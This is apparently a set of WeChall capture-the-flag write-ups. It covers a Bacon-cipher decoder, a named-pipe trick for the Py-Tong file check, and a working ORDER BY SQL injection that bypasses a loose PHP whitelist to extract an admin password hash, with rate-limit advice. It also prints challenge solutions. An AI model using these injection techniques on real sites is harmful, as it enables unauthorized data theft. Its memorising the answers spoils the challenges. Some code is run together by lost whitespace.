Mr. Bacon is back with an advanced Bacon cipher. The encoder uses a
non-standard mapping where the case pattern depends on the letter's
position in the alphabet (a-m vs n-z), not just uppercase/lowercase.
letters = [c for c in encoded_text if c.isalpha()] bits = ''.join('0'if c.lower() < 'n'else'1'for c in letters if c.isupper()) answer = ''.join(chr(int(bits[i:i+5], 2) + 65) for i inrange(0, len(bits), 5))
Py-Tong is a Warchall-backed Python exploitation challenge. The
WeChall page exposes the Python source, but the real solution is printed
only by the pytong wrapper binary on the Warchall SSH box,
because the wrapper sets the effective group needed to read the solution
file.
Source
Live source fetch from index.php?highlight=christmas
shows the essential logic:
defmain(filepath): ifany(ipattern in filepath for ipattern in ('proc', 'uptime', 'tmp', 'random', 'full', 'zero', 'null')): raise ValueError('nononono: hacking is not allowed')
ifnot os.path.exists(filepath): raise ValueError('sorry file "%s" does not exists' % filepath)
withopen(filepath) as gizmore: jjk = gizmore.read()
ifnot os.path.exists(filepath): print('You are l33t') returnTrue else: withopen(filepath) as spaceone: kwisatz = spaceone.read()
if jjk != kwisatz: print('You are a winner') returnTrue
raise ValueError('fail...')
If main() returns True, the wrapper reads
and prints the solution file.
The wrapper binary (wrap.c) sets real UID/GID to
effective UID/GID (setgid bit on the binary grants group
level12 read access to the solution file):
The page hints that a race condition works, but is not required. A
FIFO (named pipe) is the clean route: it passes
os.path.exists(), and each open(...).read()
receives different content from a separate writer.
Key pitfall: paths containing tmp, proc,
random, full, zero, or
null are blocked — do not create the FIFO under
/tmp/.
On the Warchall SSH host:
1 2 3 4 5 6 7 8 9 10
$ cd /home/level/12_pytong $ mkfifo ~/pf $ (echo aaa > ~/pf && echo bbb > ~/pf) & $ ./pytong ~/pf opening /home/user/<username>/pf closed You are a winner <?php return'KnowYourFilesChiller'; ?>
The first open().read() gets aaa, the
second gets bbb, so jjk != kwisatz and the
program enters the success branch.
SQL injection in an ORDER BY clause. Recover Admin's
32-character uppercase MD5 hash from the users table and
submit it as the solution.
Analysis
Live source fetch (index.php?highlight=christmas)
confirms the vulnerable view code:
1 2 3 4 5 6
static$whitelist = array(1, 3, 4, 5); if (!in_array($orderby, $whitelist)) { returnhtmlDisplayError('Error 1010101: Not in whitelist.'); } $orderby = $db->escape($orderby); $query = "SELECT * FROM users ORDER BY $orderby$dir LIMIT 10";
The bug is the non-strict in_array(). PHP loosely
compares strings to numbers, so a value like
3,(SELECT ...)-- passes the whitelist check (converts to
integer 3), then reaches SQL as raw ORDER BY
expression.
Exposed table schema:
1 2 3 4 5 6 7 8
CREATE TABLE IF NOTEXISTS users( username VARCHAR(32) CHARACTER SET ascii COLLATE ascii_general_ci, password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin, apples INT(10) UNSIGNED DEFAULT0, bananas INT(10) UNSIGNED DEFAULT0, cherries INT(10) UNSIGNED DEFAULT0, PRIMARY KEY(username) );
Solution
Attempt 1: Scalar subquery
(fails)
The initial approach used a scalar subquery in ORDER BY to compare
one character at a time:
1 2
3,(SELECT IF(SUBSTRING(`password`,N,1)=CHAR(X),0,1) FROM users WHERE username=0x41646d696e)--
This does NOT work because MySQL evaluates scalar subqueries in ORDER
BY as constants — the same value for all rows. Both
SELECT 0 and SELECT 1 produce identical sort
orders, so Admin's position never changes. Live diagnostic confirmed:
both left Admin at position 12.
Attempt 2: Per-row
conditional (works)
The key insight: column references and expressions
in ORDER BY ARE evaluated per-row. The password column is
directly accessible without a subquery:
How it works: - username=0x41646d696e (hex for "Admin")
identifies Admin's row - ASCII(SUBSTRING(password,N,1))=X
checks the N-th character - AND combines: only Admin's row
with matching character gets IF=0 - All other rows get IF=1 - With
ORDER BY 3, IF(...), Admin moves from position 13 → 10 when
the condition is true
The -- comments out DESC LIMIT 10,
returning all rows sorted by the injected expression.
Extraction
Binary search on hex character ASCII values (0-9: 48-57, A-F: 65-70)
using >= comparisons, with equality verification per
position. About 5 requests per character × 32 positions ≈ 160 requests
total.
Result:
3C3CBEB0C8ADC66F2922C65E7784BE14
Why scalar subqueries
fail in ORDER BY
In MySQL, ORDER BY evaluates expressions per row, but scalar
subqueries are evaluated once and treated as constants. This is a common
pitfall: (SELECT ...) in ORDER BY looks like it should work
per-row, but the optimizer collapses it. Direct column references and
non-subquery expressions (IF(condition, value1, value2))
are the correct path.
Useful observations
$db->escape() does NOT strip parentheses — function
calls and subqueries work fine
in_array() non-strict check: 3,anything
passes because PHP converts "3,anything" to integer
3
Hex encoding (0x41646d696e) bypasses any single-quote
escaping in $db->escape()
Backticks around `password` are needed in subquery
contexts (to avoid collision with MySQL's PASSWORD()
function) but not in direct expressions like
SUBSTRING(password,N,1)
Admin's default position is 9 (sorted by apples DESC) or 13 (sorted
by apples ASC)
WeChall rate limits aggressively after ~80 rapid requests — use
1.0-1.2s delays